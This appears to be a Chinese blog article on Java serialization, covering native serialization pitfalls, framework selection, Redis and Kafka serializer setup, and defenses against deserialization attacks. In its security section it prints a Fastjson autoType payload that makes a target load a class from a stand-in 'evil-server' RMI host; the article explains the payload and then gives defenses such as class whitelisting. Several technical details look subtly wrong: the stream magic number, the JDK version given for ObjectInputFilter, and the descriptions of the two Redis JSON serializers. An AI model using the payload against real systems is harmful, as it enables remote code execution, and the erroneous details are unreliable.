前阵子帮一个团队排查线上事故,现象很简单:Redis 里的 key 长得跟乱码似的,\uFEED\uFEED开头一串不可读的字节,业务方反反复复重启服务,缓存命中率就是上不去。最终定位到的问题,居然是 Java 默认序列化机制在中间件场景下埋的雷。序列化这个看似每个 Java 开发者都“会用”的基础能力,恰恰是分布式系统里最容易翻车的环节。这篇文章想把序列化从原理到实战彻底聊透——Java 原生的序列化机制、主流序列化框架的选型取舍、Redis 和消息中间件里的落地姿势,以及反序列化安全这条不能碰的底线。
1. 先把序列化这件事想明白:从对象到字节的这趟旅程
1.1 序列化的三个经典问题
序列化(Serialization)本质上干的事情就一件:把内存里的对象状态转成一串字节,方便存储或传输;反序列化就是反向操作,把字节还原成对象。为什么需要这玩意儿?因为内存里的对象是“活”的,它依赖 JVM 的运行时环境,进程一结束、网络一断开,对象就没了。想让对象跨进程、跨机器、跨语言地活着,必须给它拍一张“字节快照”。
理解序列化可以类比搬家。你住在一个房子里(内存),房子里的家具(对象字段)摆放得很舒服,但要把家搬到另一座城市(另一台机器),你不能直接整栋房子推过去,得先把家具拆散、打包、装箱(序列化),运到新家再拆包、组装、复位(反序列化)。打包装箱的效率、箱子的体积、到了新家能不能完美复原,就是序列化要考虑的核心问题。
具体来说,序列化要回答三个问题:
- 怎么打包:对象里的字段、类型、继承关系、嵌套引用,怎么转换成字节流。
- 包多大:字节体积直接影响网络带宽和存储成本,尤其在高并发、大数据量场景下,体积差几倍就是真金白银。
- 怎么拆包:对端拿到字节后,靠什么信息把对象还原出来。这部分最容易出问题,类结构一旦变化,可能直接反序列化失败。
这三个问题分别对应序列化的效率、体积和兼容性,也是后面所有技术选型和踩坑的根源。
1.2 为什么说序列化水平决定分布式系统的下限
刚工作那会儿,我也觉得序列化不就是implements Serializable吗?直到在几个分布式项目里连续翻车,才明白序列化几乎是所有中间件交互的底座。你把对象塞进 Redis 做缓存,要序列化;把消息发给 Kafka、RocketMQ,要序列化;Dubbo、gRPC 远程调用,要序列化;甚至把对象落盘做持久化,也离不开序列化。
这意味着序列化方案选不好,影响是全局性的。缓存 key 乱码、消息消费失败、RPC 调用版本不兼容、线上反序列化攻击,这些问题表面看各不相同,根子都在序列化这一层。可以说,序列化的水平很大程度上决定了分布式系统的稳定性下限。而且它不像业务代码那样改个逻辑就好,序列化问题往往隐蔽、复现难,一旦爆发就是线上事故。
所以这篇文章不打算停留在“什么是序列化”的科普层,而是直接落到实践:Java 原生机制哪里有坑、框架怎么选、中间件里怎么配、安全怎么防。
2. Java 原生序列化深度拆解:Serializable 并不是加个接口那么简单
2.1 ObjectOutputStream 到底把你的对象怎么了
Java 原生序列化用起来确实简单,一个类实现Serializable接口,然后通过ObjectOutputStream写出去、ObjectInputStream读回来就行。但很多人没想过,这个“简单”背后 JVM 做了大量隐式工作。
看一段最基础的代码:
public class User implements Serializable { private String name; private Integer age; // getter/setter 省略 } // 序列化 User user = new User("张三", 28); try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("user.bin"))) { oos.writeObject(user); } // 反序列化 try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream("user.bin"))) { User restored = (User) ois.readObject(); }writeObject执行时,ObjectOutputStream 会递归遍历对象图:先写类的描述信息(类名、serialVersionUID、字段个数、字段类型和名称),再写字段的值。如果字段引用了其他对象,会继续往下写,把所有关联对象全部序列化。这也是为什么一个看起来很小的对象,序列化出来的字节可能膨胀好几倍——类描述信息、类型标记、对象头这些都是额外开销。
readObject则是完全逆向的过程。这里隐藏着一个关键机制:反序列化创建对象时,不调用构造函数。也就是说,即使你类的构造函数里做了非空校验、默认值设置、权限检查,反序列化时这些逻辑全部被绕过,对象直接由字节流里的数据“凭空捏造”出来。这个特性是反序列化漏洞的根源,后面会详细说。
2.2 serialVersionUID:兼容性的命门
原生序列化里最容易踩的坑就是serialVersionUID。如果不显式声明,JVM 会根据类名、接口、方法、字段等计算出一个默认的 UID。问题在于,这个计算对类结构极其敏感——你只是加了一个字段,计算出来的 UID 就变了。
反序列化时,JVM 会校验本地类的 UID 和字节流里的 UID 是否一致,不一致就抛InvalidClassException。所以经常出现这种情况:线上服务发版,类里新增了一个字段,老版本写入 Redis 或者 MQ 的数据还没消费完,新版本一启动,反序列化直接报错。
解决办法就是显式声明:
public class User implements Serializable { private static final long serialVersionUID = 1L; private String name; }声明了固定 UID 之后,类结构的小幅变动(比如新增字段、修改方法)不会导致反序列化失败,新增字段会被赋予默认值(对象为 null、数字为 0、boolean 为 false)。这一点在中间件场景尤其重要,因为 Redis 里可能存着几天前的数据,MQ 里可能积压着老版本的消息,类一改就崩是绝对承受不起的。
但也要注意,固定 UID 不等于无限兼容。如果是删除字段、修改字段类型、调整继承结构这类破坏性变更,即使 UID 相同,反序列化也可能出现类型转换异常或者数据错乱。后面讲中间件实践时会展开聊。
2.3 Externalizable:把控制权拿回来
如果觉得Serializable的序列化过程不可控,Java 还提供了Externalizable接口。它要求你自己实现writeExternal和readExternal两个方法,序列化什么字段、按什么顺序、用什么格式,完全由你决定。
public class User implements Externalizable { private String name; private transient Integer age; // 注意:Externalizable 模式下 transient 不生效,需要手动控制 @Override public void writeExternal(ObjectOutput out) throws IOException { out.writeObject(name); // 选择不写 age,可有效缩小序列化体积 } @Override public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException { name = (String) in.readObject(); } }这个方案适合对序列化有强定制需求的场景。比如你只想序列化部分敏感字段,或者想用更紧凑的格式写入年龄字段,避免 Integer 的 4 字节开销。但代价是你必须自己保证读写顺序一致,这个顺序一旦写错,反序列化数据就全乱了。另外,Externalizable的无参构造器必须是 public 的,否则反序列化会抛异常,这是个很多人容易忽略的细节。
2.4 transient:带着密码一起序列化的后果
transient关键字的作用是让某个字段不参与默认序列化。很多人知道这个语法,但不清楚它的实际价值。
最典型的场景是敏感字段。比如用户对象里有 password、token、密钥这类信息,如果整个对象要写进日志、缓存或者 MQ,你用默认序列化,这些字段就会以明文形式出现在字节流里。一旦日志被采集、Redis 被拖库,敏感信息直接泄露。所以对敏感字段,要么用transient排除,要么序列化之前做加密。
另一个场景是“没必要序列化”的字段。比如说一个对象持有数据库连接、线程池、文件句柄这类运行时资源,这些资源天然和当前 JVM 绑定,换个进程根本没法复用,强行序列化只会报 NotSerializableException。
我自己处理过的一个案例:一个配置对象里塞了一个SimpleDateFormat实例,它不是线程安全的,而且完全可以在反序列化后重建。加上transient修饰,再在readObject里手动初始化,既避免了序列化报错,又保证了可用性。
2.5 原生序列化的性能瓶颈
为什么现在的项目越来越少用原生序列化?性能是绕不开的问题。原生序列化的表现可以用四个字总结:又大又慢。
体积上,原生序列化会把类名、类的描述信息写进字节流,一个简单的User对象序列化后可能有几百字节,而同样的内容用 JSON 可能几十字节,用 Protobuf 可能就十几字节。
速度上,原生序列化走的是反射 + 递归遍历对象图,对象层级越深、字段越多,性能越差。在高并发场景下,这个差距会被无限放大。我之前做过一个粗略测试,同一个对象,JDK 原生序列化耗时是 Kryo 的 5-10 倍,体积是 Kryo 的 3-5 倍。也就是说,同样一秒处理一万个请求,选错序列化方案可能就要多买好几台机器。
另外还有个跨语言问题。Java 原生序列化的字节流格式是 JVM 私有的,别的语言没法直接读。现在分布式系统里微服务语言五花八门,Java 服务要和 Go、Python 服务通信时,原生序列化直接出局。
3. 序列化框架横向评测:JSON、Kryo、Hessian、Protobuf 怎么选
3.1 不折腾的 JSON 方案:可读性换来开发效率
在实际项目里,JSON 序列化是大多数人最先接触、也最常用的方案。Jackson、Gson、Fastjson 是三个主流选择。
从公共能力上看,三者都支持 Java 对象和 JSON 字符串互转、支持嵌套对象、支持@JsonFormat之类的注解。区别主要在细节:Jackson 功能最全、Spring Boot 默认用它,生态最成熟;Gson 的 API 设计更简洁,源码也比较容易读;Fastjson 性能曾经是最快的,但历史包袱很重——它因为自动类型(autoType)机制引发过多次严重漏洞,这在安全圈已经成了经典案例。
JSON 方案最大的优点是可读性强、调试方便,抓包能看到明文,出了问题好排查。另一个优势是跨语言友好,几乎所有语言都有 JSON 解析库。
代价也很明显:JSON 是文本协议,序列化结果里有一堆引号、逗号、花括号之类的结构字符,体积比二进制方案大不少。另外,JSON 本身只描述数据,不描述类型,反序列化时如果目标类型不明确,很容易出问题。比如从 Redis 里读一个对象,存的时候是User,读的时候如果RedisTemplate的泛型设成了Object,反序列化出来的可能是个LinkedHashMap,一调用就ClassCastException。这个坑后面我会详细展开。
3.2 高性能二进制方案:Kryo、Hessian、Protobuf
当 JSON 的体积和性能满足不了需求时,就该看二进制序列化方案了。三巨头:Kryo、Hessian、Protobuf。
Kryo是目前 Java 生态里性能最顶级的序列化库之一,体积小、速度快,是很多高性能 RPC 框架(比如早期的 Dubbo、SOFA RPC)的底层序列化方案。Kryo 的核心优化是“注册类编号”——你先把要序列化的类注册成一个 ID,序列化时只写 ID 不写类名,省掉了大量描述信息。
但 Kryo 有个著名的坑:注册顺序必须严格一致。两边如果注册顺序不一样,反序列化出来就是张冠李戴,A 对象的字段全变成 B 对象的字段。另外 Kryo 默认不线程安全,需要在每个线程用ThreadLocal包装一下。
Hessian(准确说是 Hessian2)是 Dubbo 默认的序列化协议之一,二进制格式,跨语言能力比 Kryo 强一点。它的特点是序列化结果里仍然保留了一部分类型信息,所以对类结构变化的容忍度比 Kryo 高一些。Hessian 目前用得不算多,但在涉及 Java 和一些老牌语言互通的老系统里还能见到。
Protobuf(Protocol Buffers)是 Google 出的,严格来说它不是纯粹“序列化框架”,而是一套完整的 IDL(接口定义语言)+ 代码生成机制。你需要先写 .proto 文件定义数据结构,然后用 protoc 工具生成 Java 类,再用生成的类做序列化。体积和性能都非常出色,跨语言支持也做得最到位,而且自带版本演进规范(字段编号机制,后加的字段不会破坏老数据)。
代价是开发流程变重:改一个字段,要先改 .proto 文件、重新生成代码、两边服务一起发版。在很多快速迭代的业务团队里,这个成本会被放大。
3.3 选型决策表:没有最好,只有最合适
我根据实际项目经验整理了一张选型表:
| 方案 | 体积 | 性能 | 跨语言 | 可读性 | 维护成本 | 适用场景 |
|---|---|---|---|---|---|---|
| JDK 原生 | 大 | 低 | 差(仅 Java) | 极差 | 低 | 本地小型项目、临时持久化 |
| JSON(Jackson/Gson) | 中 | 中 | 好 | 好 | 低 | 对外 API、Redis 缓存、日志 |
| JSON(Fastjson) | 中 | 中高 | 好 | 好 | 中高(安全风险高) | 谨慎使用,建议替换 |
| Kyro | 小 | 高 | 差 | 差 | 中 | 高并发同语言 RPC |
| Hessian | 中 | 中高 | 中 | 差 | 中 | 老系统跨语言互通 |
| Protobuf | 极小 | 极高 | 极好 | 差 | 高 | 跨语言高要求通信、大数据传输 |
选型逻辑其实很清晰:如果你不追求极致性能,选 Jackson 或 Gson,稳字当头;如果服务端到服务端,全链路 Java,Kryo 很舒服;如果有多个语言对接,对体积敏感,上 Protobuf;Fastjson 我现在的建议是,存量项目尽快迁移,新项目最好别再引了。
3.4 不被业务绑架:自定义序列化器的思路
框架是一回事,能不能按业务需求定制是另一回事。实际项目里经常遇到两类定制需求:一是字段需要脱敏,比如序列化时把手机号中间四位打码;二是对象结构需要裁剪,比如给 A 系统发的报文不带内部字段,给 B 系统发的要带。
以 Jackson 为例,你可以实现StdSerializer来定制序列化逻辑:
public class UserSerializer extends StdSerializer<User> { public UserSerializer() { super(User.class); } @Override public void serialize(User value, JsonGenerator gen, SerializerProvider provider) throws IOException { gen.writeStartObject(); gen.writeStringField("name", value.getName()); gen.writeStringField("phone", maskPhone(value.getPhone())); gen.writeEndObject(); } }然后在字段或类上加上@JsonSerialize(using = UserSerializer.class)。这种方式可以让序列化逻辑跟着业务走,而不是被框架默认行为绑架。
另一条思路是干脆不靠序列化框架,自己用 ByteBuffer 手写二进制协议。我之前在做一个网关项目时,因为日志埋点 QPS 极高,JSON 序列化成了明显的 CPU 瓶颈,最终就是手写了一个极简二进制协议,把关键字段按固定偏移写入 ByteBuffer,性能直接提升了一个数量级。这种方案只建议在极端性能场景下使用,因为它牺牲了扩展性和可读性,没有充分测试和文档千万别上手。
4. 中间件实践:Redis 与消息队列里的序列化
4.1 Redis 序列化的雷区:别让缓存变成“乱码博物馆”
回到文章开头那个事故。Spring Boot 项目用RedisTemplate往 Redis 塞对象,默认的序列化器是JdkSerializationRedisSerializer。它的特点就是开头的\uFEED\uFEED——那是 Java 序列化字节流的魔数。如果你用默认配置往 Redis 写对象,key 和 value 都是这种二进制乱码,在 Redis Desktop Manager 里根本没法看,排查问题全靠猜。
更麻烦的是,用默认序列化器存进去的数据,如果哪天你把RedisTemplate的泛型改成别的类型,或者从 JDK 序列化切到 JSON 序列化,老数据全部无法读取,又得写脚本刷数。
正确的姿势是在配置里显式指定序列化器:
@Configuration public class RedisConfig { @Bean public RedisTemplate<String, Object> redisTemplate(RedisConnectionFactory factory) { RedisTemplate<String, Object> template = new RedisTemplate<>(); template.setConnectionFactory(factory); // key 用 String 序列化,保证可读性 StringRedisSerializer stringSerializer = new StringRedisSerializer(); template.setKeySerializer(stringSerializer); template.setHashKeySerializer(stringSerializer); // value 用 JSON 序列化,方便排查和跨语言读取 GenericJackson2JsonRedisSerializer jsonSerializer = new GenericJackson2JsonRedisSerializer(); template.setValueSerializer(jsonSerializer); template.setHashValueSerializer(jsonSerializer); template.afterPropertiesSet(); return template; } }这里有个非常关键的选择:GenericJackson2JsonRedisSerializer和Jackson2JsonRedisSerializer看起来很像,实际有天壤之别。
Jackson2JsonRedisSerializer在序列化时会保存对象类型信息,反序列化时按保存的类型还原,看起来“方便”,但它存出来的 JSON 是带类路径的,比如["com.example.User",{"name":"张三","age":28}]。这个设计有严重的安全隐患——反序列化时如果字节流里的类型信息被恶意篡改,可能触发反序列化漏洞。
GenericJackson2JsonRedisSerializer则会用一个默认类型标记写入@class字段,而且它会通过传入的ObjectMapper限制类型范围,安全性较好。在实际项目里,我更推荐用GenericJackson2JsonRedisSerializer,并配合显式的ObjectMapper配置,白名单机制能帮你挡掉不少攻击。
4.2 消息中间件里的序列化纪律:Kafka、RocketMQ 的收发一致性
消息中间件的序列化问题比 Redis 更严肃,因为消息一旦发出去,可能过了很久才被消费,也可能被多个不同语言的消费者拉取。在这个场景里,序列化方案必须从“能用”提升到“可持续演进”。
以 Kafka 为例,Producer 发送消息时可以用StringSerializer直接发字符串,也可以用ByteArraySerializer发字节。如果你发的是 Java 对象,常规做法是先把对象序列化成 JSON 或 Protobuf 字节,再交给 Kafka。
// Producer 端 String json = objectMapper.writeValueAsString(orderEvent); ProducerRecord<String, String> record = new ProducerRecord<>("order-topic", json); producer.send(record); // Consumer 端 OrderEvent event = objectMapper.readValue(value, OrderEvent.class);这段代码看起来没啥问题,但放到真实环境就有隐患了:如果orderEvent对象里有个枚举类型,比如订单状态OrderStatus,你在 1.0 版本定义了NEW, PAID, SHIPPED三个枚举值,2.0 版本删掉了SHIPPED,那么老消息流转到新消费者时,反序列化直接抛InvalidDefinitionException。
更隐蔽的是时间字段。不同版本 JDK 对LocalDateTime的 JSON 序列化格式有差异,如果生产环境刚升级了 JDK 小版本,序列化格式变了,而消费端还是老版本,就会出现解析失败。
所以消息中间件的序列化纪律,第一条就是“兼容性优先于性能”。发送端不要频繁调整序列化格式,新增字段时用可选字段而不是必选字段;重要消息建议用 Protobuf 这类自带版本演进的方案,或者至少明确字段是否允许为 null。
4.3 多语言互通:中间件序列化里的“巴别塔”
现在很多公司是“一主多语言”的技术栈,Java 写核心交易,Go 或 Python 写数据分析、报表、算法。如果中间件消息用 Java 原生序列化传对象,其他语言直接傻眼——它们无法解析\uFEED\uFEED开头的字节流。
这种场景我建议两个方向:
- 统一用 JSON:把数据先转成 JSON 字符串再进中间件,所有语言都能读。这是最简单、最稳妥的方案,缺点是体积略大。
- 统一用 Protobuf:需要定义 .proto 文件,所有语言都通过 protoc 生成代码。缺点是结构调整成本高,但跨语言兼容性最好。
还有个中间路线是 Avro,它在 Kafka 生态中支持得不错,特别是配合 Schema Registry 可以自动管理 schema 演进。但如果团队没有专职的平台工程师,我一般不轻易推荐 Avro,因为 schema 管理本身是个不小的复杂度。
选型时还有一个容易忽略的细节:JSON 序列化时数字和字符串的类型映射。Java 的 long 型在 JS 或部分脚本语言里会被当成 double,导致精度丢失。如果你在中间件里传订单 ID、支付金额这类对精度敏感的数据,要么统一用字符串表示,要么用 Protobuf 的 int64 类型。
5. 反序列化安全攻防:从原理到防御
5.1 为什么反序列化会成为攻击突破口
前面提过,Java 反序列化时不会调用构造函数,而是由ObjectInputStream根据字节流里的类描述信息直接创建对象。这意味着只要你反序列化了一串“不干净”的字节,攻击者就可以引导 JVM 加载一些危险类,并在对象初始化或 readObject 执行过程中触发恶意代码。
这个问题的根源不在序列化本身,而在于 Java 生态里的类路径上存在着大量“自带危险行为的类”。它们看起来只是普通的数据类、工具类,但在反序列化过程中会把字节流里的数据当作“指令”来执行。攻击者把这些类串联起来,形成一条“利用链”(gadget chain),最终就能在目标机器上执行任意命令。
最常见的利用库是 Apache Commons Collections、Spring、Groovy 等。最经典的攻击方式是:向一个接受序列化数据的接口提交精心构造的二进制流,触发Runtime.exec执行系统命令,拿到 shell 权限。
5.2 攻击链怎么打:以 fastjson 为例
Fastjson 的反序列化漏洞是近年来 Java 安全领域最有名的案例之一。它的问题出在autoType机制——Fastjson 允许 JSON 字符串里指定类名,反序列化时自动加载对应类。
攻击者构造一个这样的 JSON:
{ "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "rmi://evil-server/exploit", "autoCommit": true }Fastjson 解析到@type字段后,会反射创建JdbcRowSetImpl对象,setter 方法被触发时,就会去连接攻击者控制的 RMI 服务器,加载恶意类。整个过程只需要一个 HTTP 接口接收了这段 JSON,不需要任何额外条件。
更早的版本里,甚至有不需要 RMI 的利用链,直接在拥有TemplatesImpl或JdbcRowSetImpl的类路径上完成攻击。Fastjson 前前后后修了很多版,但安全研究者和攻击者也在不断挖掘新绕过方式。这也是我前面强烈建议新项目不要引 Fastjson 的原因——它的攻击面太大,每次升级都像是在打地鼠。
5.3 纵深防御:白名单、黑名单和运行时防护
反序列化安全的防御不是做一个点就行,要做纵深。
第一层是入口收口:不要轻易对外暴露接受 Java 原生序列化字节流的接口,尤其是公网接口。如果有这种接口,严格校验来源 IP、限制调用方身份。
第二层是类白名单:从 JDK 17 开始,ObjectInputFilter提供了一种内建的过滤机制,可以限制反序列化允许的类列表。低版本 JDK 也可以通过配置反序列化过滤器来做类似的事。
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter( "com.example.safe.*;java.lang.*;java.util.*;!*" ); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes)); ois.setObjectInputFilter(filter);这段配置的含义是:允许com.example.safe包、java.lang、java.util下的类,其余一律拒绝。白名单的威力在于,即使攻击者构造了利用链,被过滤掉的那个触发类没有在里面,攻击就无法展开。
第三层是运行时防护:部署 RASP 或类似的安全代理,在 JVM 层面对危险方法调用(比如Runtime.exec)做拦截。这种方式对存量系统比较友好,不需要改代码,但需要评估性能开销。
第四层是配置安全:像 Nacos、Spring Cloud Config 这类配置中心,一定要保证控制台和 API 的访问权限,防止攻击者通过配置注入恶意序列化数据。很多反序列化攻击之所以得手,不是因为序列化库有漏洞,而是攻击者已经拿下了某个边缘系统,能自由往中间件里投毒。
6. 线上实战避坑清单
6.1 高频问题速查表
把这些年见过的问题整理成一张表,方便排查时快速对照:
| 现象 | 可能原因 | 处理建议 |
|---|---|---|
| Redis key 是二进制乱码 | RedisTemplate 用了默认 JdkSerializationRedisSerializer | 显式配置 key 为 StringRedisSerializer |
| 反序列化抛 InvalidClassException | serialVersionUID 不一致 | 显式声明 UID;类结构变更前评估兼容性 |
| 反序列化多出一堆 null 字段 | 新增字段没有默认值 | 给新增字段设置合理的默认值,或在读方法里兜底 |
| Redis 取出的对象类型是 LinkedHashMap | 序列化器未保存类型信息 | 改用 GenericJackson2JsonRedisSerializer |
| 消息消费失败,枚举值不识别 | 枚举增删导致老消息不可读 | 枚举增加保留未知值策略,或用字符串代替枚举序列化 |
| MQ 消息体积过大 | 文本序列化+嵌套对象太深 | 考虑换成二进制方案(Kryo/Protobuf) |
| 性能压测 CPU 居高不下 | 序列化框架选择不当 | 基准测试对比体积和耗时,选中高性能方案 |
| 反序列化后数据篡改 | 未做完整性校验 | 增加签名或加密字段,对敏感数据启用 MAC 校验 |
6.2 我踩过的坑和沉淀的规范
踩坑踩多了自然就有了规范。以下几条是我现在做任何 Java 服务时都会默认遵守的规则:
对象类统一显式声明serialVersionUID,别指望 JVM 自动生成,那东西每次改类结构都会变,是线上事故的定时炸弹。
跨进程传输的对象,永远把字段设计成“可选 + 默认值”模式。新增字段时不设置必填校验,避免老数据反序列化失败。
所有进 Redis 的商品、订单这类对象,value 一律用 JSON,key 一律用 String。Redis 的可读性比那一点序列化性能重要得多,排查问题的速度就是事故恢复时间。
引入新的序列化框架前,一定做一个“两次发版 + 老数据兼容”测试:先用老代码写数据,再用新代码读,确保兼容。很多项目是因为急着上线跳过这一步,最后在老数据上翻车。
如果服务对外提供 Http 接口,永远不要直接接受 Java 原生序列化字节流,必须转成 JSON。这条在安全巡检里是硬性要求。
最后再说一个小技巧:不要盲目迷信“最新框架”或“极致性能”。序列化方案在复杂度和维护成本上的差异,往往比那点性能差异更影响团队。我见过有团队为了省几十字节的传输开支,引入了一个文档稀缺的小众框架,结果新人上手困难、老版本兼容问题一堆,最后又换回 JSON。稳定、可控、团队会维护,才是选型的正解。